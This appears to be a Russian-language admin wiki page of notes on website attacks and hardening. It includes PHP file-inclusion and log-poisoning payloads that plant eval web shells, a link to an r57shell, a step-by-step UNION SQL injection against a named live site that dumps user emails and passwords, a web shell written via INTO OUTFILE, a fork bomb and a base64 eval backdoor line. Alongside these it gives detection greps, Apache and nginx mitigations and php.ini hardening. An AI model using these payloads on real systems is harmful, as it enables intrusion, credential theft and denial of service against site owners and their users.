Пример зловредов на страницах сайтов
< Apache/2.2.21 (Unix)
curl -I -H "Range: bytes=0-1,0-2" -s http://78.108.93.116/images/logofullsize.png | grep Partial
Если “HTTP/1.1 206 Partial Content” значит дырка есть
# a2enmod headers echo RequestHeader unset Range >> /etc/apache2/conf.d/security echo RequestHeader unset Request-Range >> /etc/apache2/conf.d/security /etc/init.d/apache2 restart
Вариант 1:
RewriteEngine On RewriteCond %{HTTP:Range} bytes=0-[0-9]+, [NC,OR] RewriteCond %{HTTP:Range} bytes=([0-9-],){4,} [NC,OR] RewriteCond %{HTTP:Range} bytes=[0-9,-]+,0-(,|$) [NC] RewriteRule .? http://%{SERVER_NAME}/ [NS,L,F]
Вариант 2:
RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC] RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+ RewriteRule .* - [F]
Вариант 3:
RewriteEngine On RewriteCond %{HTTP:Range} bytes=0-.* [NC] RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]
В nginx.conf: proxy_set_header Range ""; proxy_set_header Request-Range "";
http://conconovaloff.narod2.ru/r57shell.php
Необходимо: allow_url_include = 1
Пример кода:
index.php <?php print("this is paje <br>"); print($_GET["file"]."<br>"); include_once ($_GET["file"]); #[include|include_once|require|require_once] ?>
site.ru/index.php?arq=http://path.to.ru/shell.php
shell может быть как в текстовом виде (при переходе получаем текст), так и отдоватьяс php файлом
Пример кода:
$dir = $_GET['dir']; $dir = str_replace(array('http://','ftp://','/','.'), '', $dir); //фильтр $dir .= '/pages/default.php'; include($dir . '/pages/default.php');
http://site.ru/index.php?dir=data:,<?php eval($_REQUEST[cmd]); ?>&cmd=phpinfo();
Пример кода:
... $dir = str_replace(array('_',']','[',')','(','$','http://','ftp://','/','.'), '', $dir); $dir = htmlspecialchars($dir); ...
http://site.ru/index.php?dir=data:;base64, PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8+&cmd=phpinfo();
/proc/self/environ - Общий для программ файл переменных
Задача: подсунуть переменную с зловредным годом и произвести локальный инклуд
curl "http://site.com/index.php?page=../../../../../../../../proc/self/environ&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"
Задача: открыть файл логов Apache из proc
curl "http://site.com/index.php?page=../../../../../../../../proc/self/fd/2&cmd=phpinfo();" -H "User-Agent: <?php eval(\$_GET[cmd]); ?>"
Шлем письмо
telnet 172.16.0.10 25 ehlo cc10.site mail from:any@cc10.site rcpt to:www-data@localhost #Если угадаем пользователя httpd, то имеем доступ на чтение data <?php passthru($_GET['cmd']);?>
Возможные директории почты: /var/mail ; /var/spool/mail
curl "http://site.com/index.php?page=../../../../../../../../var/mail/www-data%00&cmd=phpinfo();" #[%00]
http://www.asdlionhear.com/page.php?idSection=1' # с ковычкой на конце, получили "warning mysql_fetch_array supplied argument is not a valid mysql result resorce" http://www.asdlionhear.com/page.php?idSection=1+order+by+27-- #SELECT * FROM `db` WHERE 1 order by 27 # Смотрим колличество столбцов в таблице http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- #SELECT * FROM `db` WHERE 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- #SELECT * FROM `db` WHERE 1 UNION SELECT 1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.tables+limit+53,1-- #SELECT * FROM `db` WHERE 1 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 FROM information_schema.tables LIMIT 53,1 http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_name=0x75736572 http://www.asdlionhear.com/page.php?idSection=-1+union+select+1,concat%28email,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+users-- #SELECT * FROM `db` WHERE 1 UNION SELECT 1,concat(email,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 FROM users
union select 1,load_file('/etc/passwd'),1,1,1;
find . -iname "*log*" -type f -exec gzcat -fc {} \; | awk '{print $7}' | grep -Hi --colour 'select\|union\|information_schema\|order+by\|concat\|cmd\|system\|base64\|exec\|passthru\|union\|shell' grep -i customlog /etc/httpd/conf/httpd.conf | grep -v ^" "*# | xargs ls -1 | xargs grep -Hi --colour 'select\|union\|information_schema\|order+by\|concat\|cmd\|system\|base64\|exec\|passthru\|union\|shell'
grep -iRH --color 'shell\|Hacker\|base64_dec\|eval(\|r57shell\|var _0x' ./ find . -iname "*.php" -exec grep -iRH --color 'shell\|Hacker\|base64_dec\|eval(\|r57shell\|var _0x' {} \; find ./ -name '*.php' | xargs grep -E --color '[0-9a-zA-Z/]{80}|[0-9 ,\.]{80}' find ./ \( -iname "*.png" -o -name "*.jpg" -o -name "*.gif" \) -exec grep --color "base64_decode\|php" {} \; #поиск php в изображениях
@error_reporting @session_start()
find / -type d -perm 0777 find /var/tmp /tmp -type f -perm /a+x -exec ls -la {} \;
/etc/init.d/httpd stop && ps waux | grep apache
Редактируем php.ini или переключаемся на CGI для редактирования php.ini и указываем ; запрещаем выполнение опастных функций disable_functions = pcntl_fork,leak,exec,passthru,shell_exec,apache_child_terminate,apache_setenv,define_syslog_variables,system,proc_open,popen,openlog,virtual,symlink,link,assert ; включаем safe_mode (Удалена в PHP 5.4.0.) http://www.php.net/manual/ru/ini.sect.safe-mode.php safe_mode = On ; Все скрипты должны иметь uid пользователя от которого запускается apache safe_mode_gid = Off open_basedir = register_globals doc_root Или редактируем .htaccess php_value open_basedir "/home/u/user" register_globals
Логирование mail() http://boombick.org/blog/posts/77
#Проверяем, что опасные функции выключены. <?php echo("shell_exec\n"); echo(shell_exec("date")); echo("exec\n"); echo(exec("date")); $buff; echo("passthru\n"); echo(passthru("date", $buff)); echo($buff); echo("system\n"); echo(system("date")); ?>
Можно реализовать при помощи md5sum. К примеру: http://anton-kuzmin.blogspot.com/2011/01/blog-post.html
maldet -u maldet -a . maldet --report 102513-2146.1286 rkhunter # --update || --check --logfile /tmp/rkhunter.log #OR chkrootkit clamscan --recursive --infected aibolit # не тестировал
:(){ :|:& };:
Защищаемся: 1
Отслеживаем следы использования: ?
Возможность залить php код через SQL запрос:
select user(); #кто мы? select file_priv from mysql.user where user='root'; # есть ли у нас доступ к mysql.user select '<?php eval($_REQUEST[cmd]); ?>' from mysql.user into outfile '/var/www/some/data/www/test.ru/tmp/wow.php';
phpMyAdmin ⇐ 2.11.9 очень подвержены взлому, но и очень редки (работают на php3)
armitage → Nmap + metasploit
nessus
BackTrack → Дистрибутив с предустановленным набором программ.
rkhunter - rootkit hunter. Автоматическая проверка локального unix на наличие известных rootkit + подмена утилит и модифицирование сис.файлов.
nikto → Только для web
Only windows
acunetix → Только для web
Пример строки:
function_exists('date_default_timezone') ? date_default_timezone_set('America/Los_Angeles') : @eval(base64_decode($_REQUEST['c_id']));
Описание: http://support.datacenter.by/index.php?/Knowledgebase/Article/View/32/0/dos-bank-of-amerika
Discussion
Много дырок возникает из за отсутствия проверок симлинков. Типичный пример: установка файлов сайта скриптом в домашнюю директорию сайта. Если вместо директория сайта указать симлинк на /etc/, то скрипт запущенный с root правами может умудриться записать в /etc/ файлы сайта. Еще один пример: Nginx запущен от root и отдает статику. Мы создаем симлинк с именем some.txt и линкуем его c /etc/hosts. В итоге, обращаясь к some.txt через nginx, он имея root права он откроет /etc/hosts
https://rdot.org/forum/showthread.php?t=3309 Обход disable_functions в PHP